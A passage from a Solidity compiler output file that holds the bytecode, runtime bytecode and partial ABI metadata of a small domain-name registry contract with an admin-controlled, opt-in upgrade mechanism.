ffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166001811115610d4057fe5b1415610d9557600160006001830381548110610d5857fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16935093505050610dab565b80600190039050610cb4565b5060008092509250505b915091565b610db8610e83565b610df7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dee90611f23565b60405180910390fd5b6000808054905090508160006001830381548110610e1157fe5b906000526020600020906003020160000160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690836001811115610e7a57fe5b02179055505050565b6000806000805490509050600081118015610ebe57504260006001830381548110610eaa57fe5b906000526020600020906003020160010154115b91505090565b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b8152600401610f209190611dc0565b604080518083038186803b158015610f3757600080fd5b505afa158015610f4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6f919061171d565b9150915081156110e95760008173ffffffffffffffffffffffffffffffffffffffff1663461a4478866040518263ffffffff1660e01b8152600401610fb49190611e63565b604080518083038186803b158015610fcb57600080fd5b505afa158015610fdf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110039190611759565b9150503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106b90612003565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663f7a4669686866040518363ffffffff1660e01b81526004016110af929190611eb5565b600060405180830381600087803b1580156110c957600080fd5b505af11580156110dd573d6000803e3d6000fd5b50505050505050611227565b60006001856040516110fb9190611d8e565b908152602001604051809103902090503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461119d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119490612043565b60405180910390fd5b600060e01b847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415611203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fa90611fc3565b60405180910390fd5b838160000160006101000a81548163ffffffff021916908360e01c02179055505050505b5050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b81526004016112ab9190611dc0565b604080518083038186803b1580156112c257600080fd5b505afa1580156112d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112fa919061171d565b9150915081156114745760008173ffffffffffffffffffffffffffffffffffffffff1663461a4478866040518263ffffffff1660e01b815260040161133f9190611e63565b604080518083038186803b15801561135657600080fd5b505afa15801561136a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138e9190611759565b9150503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146113ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f690612003565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663fbf58b3e86866040518363ffffffff1660e01b815260040161143a929190611e85565b600060405180830381600087803b15801561145457600080fd5b505af1158015611468573d6000803e3d6000fd5b505050505050506115df565b60006001856040516114869190611d8e565b908152602001604051809103902090503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611528576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151f90612043565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90611fa3565b60405180910390fd5b838160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505b5050565b6000813590506115f28161228d565b92915050565b6000815190506116078161228d565b92915050565b60008151905061161c816122a4565b92915050565b600081359050611631816122bb565b92915050565b600081519050611646816122bb565b92915050565b60008135905061165b816122d2565b92915050565b600081519050611670816122d2565b92915050565b600081359050611685816122e9565b92915050565b600082601f83011261169c57600080fd5b81356116af6116aa826120dd565b6120ac565b915080825260208301602083018583830111156116cb57600080fd5b6116d6838284612238565b50505092915050565b6000813590506116ee816122f9565b92915050565b60006020828403121561170657600080fd5b6000611714848285016115e3565b91505092915050565b6000806040838503121561173057600080fd5b600061173e8582860161160d565b925050602061174f85828601611661565b9150509250929050565b6000806040838503121561176c57600080fd5b600061177a85828601611637565b925050602061178b858286016115f8565b9150509250929050565b600080604083850312156117a857600080fd5b60006117b68582860161164c565b92505060206117c7858286016115e3565b9150509250929050565b6000602082840312156117e357600080fd5b60006117f184828501611676565b91505092915050565b60006020828403121561180c57600080fd5b600082013567ffffffffffffffff81111561182657600080fd5b6118328482850161168b565b91505092915050565b6000806040838503121561184e57600080fd5b600083013567ffffffffffffffff81111561186857600080fd5b6118748582860161168b565b9250506020611885858286016115e3565b9150509250929050565b600080604083850312156118a257600080fd5b600083013567ffffffffffffffff8111156118bc57600080fd5b6118c88582860161168b565b92505060206118d985828601611622565b9150509250929050565b6000806000606084860312156118f857600080fd5b600084013567ffffffffffffffff81111561191257600080fd5b61191e8682870161168b565b935050602061192f86828701611622565b9250506040611940868287016115e3565b9150509250925092565b60006020828403121561195c57600080fd5b600061196a848285016116df565b91505092915050565b6000806040838503121561198657600080fd5b6000611994858286016116df565b92505060206119a58582860161164c565b9150509250929050565b6119b8816121ba565b82525050565b6119c781612134565b82525050565b6119d681612146565b82525050565b6119e581612152565b82525050565b6119f4816121cc565b82525050565b611a03816121f0565b82525050565b6000611a148261210d565b611a1e8185612118565b9350611a2e818560208601612247565b611a378161227c565b840191505092915050565b6000611a4d8261210d565b611a578185612129565b9350611a67818560208601612247565b80840191505092915050565b6000611a80601f83612118565b91507f43616e6e6f74206f7074206e6f6e20706c616e6e656420757067726164652e006000830152602082019050919050565b6000611ac0601783612118565b91507f43616e6e6f74207570677261646520746f20766f69642e0000000000000000006000830152602082019050919050565b6000611b00601b83612118565b91507f43616e6e6f74207570677261646520696e2074686520706173742e00000000006000830152602082019050919050565b6000611b40600f83612118565b91507f496e76616c696420646f6d61696e2e00000000000000000000000000000000006000830152602082019050919050565b6000611b80600e83612118565b91507f496e76616c6964206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000611bc0600b83612118565b91507f496e76616c69642069702e0000000000000000000000000000000000000000006000830152602082019050919050565b6000611c00602283612118565b91507f43616e6e6f742063616e63656c206e6f6e20706c616e6e65642075706772616460008301527f652e0000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611c66602383612118565b91507f4e6f7420746865206f776e657220696e20757067726164656420636f6e74726160008301527f63742e00000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611ccc601583612118565b91507f446f6d61696e20616c72656164792074616b656e2e00000000000000000000006000830152602082019050919050565b6000611d0c600e83612118565b91507f4e6f7420746865206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000611d4c601883612118565b91507f5570677261646520616c72656164792072756e6e696e672e00000000000000006000830152602082019050919050565b611d88816121b0565b82525050565b6000611d9a8284611a42565b915081905092915050565b6000602082019050611dba60008301846119be565b92915050565b6000602082019050611dd560008301846119af565b92915050565b6000602082019050611df060008301846119cd565b92915050565b6000604082019050611e0b60008301856119cd565b611e1860208301846119eb565b9392505050565b6000604082019050611e3460008301856119dc565b611e4160208301846119be565b9392505050565b6000602082019050611e5d60008301846119fa565b92915050565b60006020820190508181036000830152611e7d8184611a09565b905092915050565b60006040820190508181036000830152611e9f8185611a09565b9050611eae60208301846119be565b9392505050565b60006040820190508181036000830152611ecf8185611a09565b9050611ede60208301846119dc565b9392505050565b60006060820190508181036000830152611eff8186611a09565b9050611f0e60208301856119dc565b611f1b60408301846119be565b949350505050565b60006020820190508181036000830152611f3c81611a73565b9050919050565b60006020820190508181036000830152611f5c81611ab3565b9050919050565b60006020820190508181036000830152611f7c81611af3565b9050919050565b60006020820190508181036000830152611f9c81611b33565b9050919050565b60006020820190508181036000830152611fbc81611b73565b9050919050565b60006020820190508181036000830152611fdc81611bb3565b9050919050565b60006020820190508181036000830152611ffc81611bf3565b9050919050565b6000602082019050818103600083015261201c81611c59565b9050919050565b6000602082019050818103600083015261203c81611cbf565b9050919050565b6000602082019050818103600083015261205c81611cff565b9050919050565b6000602082019050818103600083015261207c81611d3f565b9050919050565b60006040820190506120986000830185611d7f565b6120a560208301846119eb565b9392505050565b6000604051905081810181811067ffffffffffffffff821117156120d3576120d261227a565b5b8060405250919050565b600067ffffffffffffffff8211156120f8576120f761227a565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600061213f82612190565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600061218982612134565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006121c582612214565b9050919050565b60006121d7826121de565b9050919050565b60006121e982612190565b9050919050565b60006121fb82612202565b9050919050565b600061220d82612190565b9050919050565b600061221f82612226565b9050919050565b600061223182612190565b9050919050565b82818337600083830152505050565b60005b8381101561226557808201518184015260208101905061224a565b83811115612274576000848401525b50505050565bfe5b6000601f19601f8301169050919050565b61229681612134565b81146122a157600080fd5b50565b6122ad81612146565b81146122b857600080fd5b50565b6122c481612152565b81146122cf57600080fd5b50565b6122db8161217e565b81146122e657600080fd5b50565b600281106122f657600080fd5b50565b612302816121b0565b811461230d57600080fd5b5056fea264697066735822122005eb7b9ce5d8e8cd0318058e002f115427649b6a5a095655edf311ff4ccee79a64736f6c63430007040033","bin-runtime":"608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063894049781161008c578063d2ac7a5f11610066578063d2ac7a5f14610213578063f7a4669614610231578063f851a4401461024d578063fbf58b3e1461026b576100cf565b806389404978146101aa57806390b60de9146101c6578063b1d6d39d146101f7576100cf565b80630528b345146100d457806327557157146100f2578063461a44781461010e57806355f291661461013f5780635efd5384146101495780637386bbc514610179575b600080fd5b6100dc610287565b6040516100e99190611e48565b60405180910390f35b61010c60048036038101906101079190611973565b6102ab565b005b610128600480360381019061012391906117fa565b610471565b604051610136929190611e1f565b60405180910390f35b610147610639565b005b610163600480360381019061015e9190611795565b610784565b6040516101709190611ddb565b60405180910390f35b610193600480360381019061018e919061194a565b6108cd565b6040516101a1929190612083565b60405180910390f35b6101c460048036038101906101bf91906118e3565b610921565b005b6101e060048036038101906101db91906116f4565b610c56565b6040516101ee929190611df6565b60405180910390f35b610211600480360381019061020c91906117d1565b610db0565b005b61021b610e83565b6040516102289190611ddb565b60405180910390f35b61024b6004803603810190610246919061188f565b610ec4565b005b61025561122b565b6040516102629190611da5565b60405180910390f35b6102856004803603810190610280919061183b565b61124f565b005b7f000000000000000000000000000000000000000000000000000000000000000081565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461030357600080fd5b61030b610e83565b1561034b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161034290612063565b60405180910390fd5b42821161038d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161038490611f63565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156103fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f490611f43565b60405180910390fd5b6000806001816001815401808255809150500390600052602060002090600302019050828160010181905550818160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b6000806000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b81526004016104d09190611dc0565b604080518083038186803b1580156104e757600080fd5b505afa1580156104fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051f919061171d565b9150915081156105bc578073ffffffffffffffffffffffffffffffffffffffff1663461a4478866040518263ffffffff1660e01b81526004016105629190611e63565b604080518083038186803b15801561057957600080fd5b505afa15801561058d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b19190611759565b935093505050610634565b6001856040516105cc9190611d8e565b908152602001604051809103902060000160009054906101000a900460e01b6001866040516105fb9190611d8e565b908152602001604051809103902060000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350935050505b915091565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461069157600080fd5b610699610e83565b6106d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cf90611fe3565b60405180910390fd5b6000600160008054905003815481106106ed57fe5b9060005260206000209060030201600060018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555050600080548061073957fe5b6001900381819060005260206000209060030201600060018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550509055565b6000806000805490509050610797610e83565b156107a457806001900390505b60005b818110156108c057600081815481106107bc57fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156108a5575060018081111561082f57fe5b6000828154811061083c57fe5b906000526020600020906003020160000160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660018111156108a357fe5b145b156108b5576001925050506108c7565b8060010190506107a7565b5060009150505b92915050565b600081815481106108dd57600080fd5b90600052602060002090600302016000915090508060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b815260040161097d9190611dc0565b604080518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc919061171d565b915091508115610a4c578073ffffffffffffffffffffffffffffffffffffffff1663894049788686866040518463ffffffff1660e01b8152600401610a1393929190611ee5565b600060405180830381600087803b158015610a2d57600080fd5b505af1158015610a41573d6000803e3d6000fd5b505050505050610c51565b600060e01b847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610ab2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa990611fc3565b60405180910390fd5b6000855111610af6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aed90611f83565b60405180910390fd5b6000600186604051610b089190611d8e565b90815260200160405180910390209050600060e01b8160000160009054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148015610bab5750600073ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be190612023565b60405180910390fd5b848160000160006101000a81548163ffffffff021916908360e01c0217905550838160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505b505050565b6000806000808054905090506000811415610c78576000809250925050610dab565b610c80610e83565b15610c98576001811015610c9057fe5b806001900390505b6000811415610cae576000809250925050610dab565b60008190505b6000811115610da157600180811115610cc957fe5b60006001830381548110610cd957fe5b906000526020600020906003020160000160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166001811115610d4057fe5b1415610d9557600160006001830381548110610d5857fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16935093505050610dab565b80600190039050610cb4565b5060008092509250505b915091565b610db8610e83565b610df7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dee90611f23565b60405180910390fd5b6000808054905090508160006001830381548110610e1157fe5b906000526020600020906003020160000160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690836001811115610e7a57fe5b02179055505050565b6000806000805490509050600081118015610ebe57504260006001830381548110610eaa57fe5b906000526020600020906003020160010154115b91505090565b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b8152600401610f209190611dc0565b604080518083038186803b158015610f3757600080fd5b505afa158015610f4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6f919061171d565b9150915081156110e95760008173ffffffffffffffffffffffffffffffffffffffff1663461a4478866040518263ffffffff1660e01b8152600401610fb49190611e63565b604080518083038186803b158015610fcb57600080fd5b505afa158015610fdf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110039190611759565b9150503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106b90612003565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663f7a4669686866040518363ffffffff1660e01b81526004016110af929190611eb5565b600060405180830381600087803b1580156110c957600080fd5b505af11580156110dd573d6000803e3d6000fd5b50505050505050611227565b60006001856040516110fb9190611d8e565b908152602001604051809103902090503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461119d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119490612043565b60405180910390fd5b600060e01b847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415611203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fa90611fc3565b60405180910390fd5b838160000160006101000a81548163ffffffff021916908360e01c02179055505050505b5050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b81526004016112ab9190611dc0565b604080518083038186803b1580156112c257600080fd5b505afa1580156112d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112fa919061171d565b9150915081156114745760008173ffffffffffffffffffffffffffffffffffffffff1663461a4478866040518263ffffffff1660e01b815260040161133f9190611e63565b604080518083038186803b15801561135657600080fd5b505afa15801561136a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138e9190611759565b9150503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146113ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f690612003565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663fbf58b3e86866040518363ffffffff1660e01b815260040161143a929190611e85565b600060405180830381600087803b15801561145457600080fd5b505af1158015611468573d6000803e3d6000fd5b505050505050506115df565b60006001856040516114869190611d8e565b908152602001604051809103902090503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611528576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151f90612043565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90611fa3565b60405180910390fd5b838160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505b5050565b6000813590506115f28161228d565b92915050565b6000815190506116078161228d565b92915050565b60008151905061161c816122a4565b92915050565b600081359050611631816122bb565b92915050565b600081519050611646816122bb565b92915050565b60008135905061165b816122d2565b92915050565b600081519050611670816122d2565b92915050565b600081359050611685816122e9565b92915050565b600082601f83011261169c57600080fd5b81356116af6116aa826120dd565b6120ac565b915080825260208301602083018583830111156116cb57600080fd5b6116d6838284612238565b50505092915050565b6000813590506116ee816122f9565b92915050565b60006020828403121561170657600080fd5b6000611714848285016115e3565b91505092915050565b6000806040838503121561173057600080fd5b600061173e8582860161160d565b925050602061174f85828601611661565b9150509250929050565b6000806040838503121561176c57600080fd5b600061177a85828601611637565b925050602061178b858286016115f8565b9150509250929050565b600080604083850312156117a857600080fd5b60006117b68582860161164c565b92505060206117c7858286016115e3565b9150509250929050565b6000602082840312156117e357600080fd5b60006117f184828501611676565b91505092915050565b60006020828403121561180c57600080fd5b600082013567ffffffffffffffff81111561182657600080fd5b6118328482850161168b565b91505092915050565b6000806040838503121561184e57600080fd5b600083013567ffffffffffffffff81111561186857600080fd5b6118748582860161168b565b9250506020611885858286016115e3565b9150509250929050565b600080604083850312156118a257600080fd5b600083013567ffffffffffffffff8111156118bc57600080fd5b6118c88582860161168b565b92505060206118d985828601611622565b9150509250929050565b6000806000606084860312156118f857600080fd5b600084013567ffffffffffffffff81111561191257600080fd5b61191e8682870161168b565b935050602061192f86828701611622565b9250506040611940868287016115e3565b9150509250925092565b60006020828403121561195c57600080fd5b600061196a848285016116df565b91505092915050565b6000806040838503121561198657600080fd5b6000611994858286016116df565b92505060206119a58582860161164c565b9150509250929050565b6119b8816121ba565b82525050565b6119c781612134565b82525050565b6119d681612146565b82525050565b6119e581612152565b82525050565b6119f4816121cc565b82525050565b611a03816121f0565b82525050565b6000611a148261210d565b611a1e8185612118565b9350611a2e818560208601612247565b611a378161227c565b840191505092915050565b6000611a4d8261210d565b611a578185612129565b9350611a67818560208601612247565b80840191505092915050565b6000611a80601f83612118565b91507f43616e6e6f74206f7074206e6f6e20706c616e6e656420757067726164652e006000830152602082019050919050565b6000611ac0601783612118565b91507f43616e6e6f74207570677261646520746f20766f69642e0000000000000000006000830152602082019050919050565b6000611b00601b83612118565b91507f43616e6e6f74207570677261646520696e2074686520706173742e00000000006000830152602082019050919050565b6000611b40600f83612118565b91507f496e76616c696420646f6d61696e2e00000000000000000000000000000000006000830152602082019050919050565b6000611b80600e83612118565b91507f496e76616c6964206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000611bc0600b83612118565b91507f496e76616c69642069702e0000000000000000000000000000000000000000006000830152602082019050919050565b6000611c00602283612118565b91507f43616e6e6f742063616e63656c206e6f6e20706c616e6e65642075706772616460008301527f652e0000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611c66602383612118565b91507f4e6f7420746865206f776e657220696e20757067726164656420636f6e74726160008301527f63742e00000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611ccc601583612118565b91507f446f6d61696e20616c72656164792074616b656e2e00000000000000000000006000830152602082019050919050565b6000611d0c600e83612118565b91507f4e6f7420746865206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000611d4c601883612118565b91507f5570677261646520616c72656164792072756e6e696e672e00000000000000006000830152602082019050919050565b611d88816121b0565b82525050565b6000611d9a8284611a42565b915081905092915050565b6000602082019050611dba60008301846119be565b92915050565b6000602082019050611dd560008301846119af565b92915050565b6000602082019050611df060008301846119cd565b92915050565b6000604082019050611e0b60008301856119cd565b611e1860208301846119eb565b9392505050565b6000604082019050611e3460008301856119dc565b611e4160208301846119be565b9392505050565b6000602082019050611e5d60008301846119fa565b92915050565b60006020820190508181036000830152611e7d8184611a09565b905092915050565b60006040820190508181036000830152611e9f8185611a09565b9050611eae60208301846119be565b9392505050565b60006040820190508181036000830152611ecf8185611a09565b9050611ede60208301846119dc565b9392505050565b60006060820190508181036000830152611eff8186611a09565b9050611f0e60208301856119dc565b611f1b60408301846119be565b949350505050565b60006020820190508181036000830152611f3c81611a73565b9050919050565b60006020820190508181036000830152611f5c81611ab3565b9050919050565b60006020820190508181036000830152611f7c81611af3565b9050919050565b60006020820190508181036000830152611f9c81611b33565b9050919050565b60006020820190508181036000830152611fbc81611b73565b9050919050565b60006020820190508181036000830152611fdc81611bb3565b9050919050565b60006020820190508181036000830152611ffc81611bf3565b9050919050565b6000602082019050818103600083015261201c81611c59565b9050919050565b6000602082019050818103600083015261203c81611cbf565b9050919050565b6000602082019050818103600083015261205c81611cff565b9050919050565b6000602082019050818103600083015261207c81611d3f565b9050919050565b60006040820190506120986000830185611d7f565b6120a560208301846119eb565b9392505050565b6000604051905081810181811067ffffffffffffffff821117156120d3576120d261227a565b5b8060405250919050565b600067ffffffffffffffff8211156120f8576120f761227a565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600061213f82612190565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600061218982612134565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006121c582612214565b9050919050565b60006121d7826121de565b9050919050565b60006121e982612190565b9050919050565b60006121fb82612202565b9050919050565b600061220d82612190565b9050919050565b600061221f82612226565b9050919050565b600061223182612190565b9050919050565b82818337600083830152505050565b60005b8381101561226557808201518184015260208101905061224a565b83811115612274576000848401525b50505050565bfe5b6000601f19601f8301169050919050565b61229681612134565b81146122a157600080fd5b50565b6122ad81612146565b81146122b857600080fd5b50565b6122c481612152565b81146122cf57600080fd5b50565b6122db8161217e565b81146122e657600080fd5b50565b600281106122f657600080fd5b50565b612302816121b0565b811461230d57600080fd5b5056fea264697066735822122005eb7b9ce5d8e8cd0318058e002f115427649b6a5a095655edf311ff4ccee79a64736f6c63430007040033","metadata":"{\"compiler\":{\"version\":\"0.7.4+commit.3f05b770\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"contract Upgrade\",\"name\":\"_upgradeInfo\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_user\",\"type\":\"address\"}],\"name\":\"activeUpgrade\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"},{\"internalType\":\"contract IDNS\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"admin\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"cancelUpgrade\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract IDNS\",\"name\":\"_addr\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_user\",\"type\":\"address\"}],\"name\":\"isTrustedUpgrade\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_when\",\"type\":\"uint256\"},{\"internalType\":\"contract IDNS\",\"name\":\"_to\",\"type\":\"address\"}],\"name\":\"newUpgrade\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"enum Upgrade.Opt\",\"name\":\"_opt\",\"type\":\"uint8\"}],\"name\":\"opt\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"},{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"register\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"}],\"name\":\"resolve\",\"outputs\":[{\"internalType\":\"bytes4\",\"name\":\"\",\"type\":\"bytes4\"},{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"transfer\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"}],\"name\":\"update\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"upgradeInfo\",\"outputs\":[{\"internalType\":\"contract Upgrade\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"upgradePlanned\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"upgrades\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"when\",\"type\":\"uint256\"},{\"internalType\":\"contract IDNS\",\"name\":\"to\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"activeUpgrade(address)\":{\"returns\":{\"_0\":\"(false, 0) if _user never opted-in, or opted-in but the planned upgrade then was cancelled.\",\"_1\":\"(true, ) if user opted-in at least once, and that upgrade became active.\"}},\"isTrustedUpgrade(address,address)\":{\"returns\":{\"_0\":\"true if _addr is or was an active upgrade trusted by _user.\"}},\"register(string,bytes4,address)\":{\"params\":{\"_domain\":\"New domain to be registered.\",\"_ip\":\"Ip the domain should point to.\",\"_owner\":\"Owner of the newly 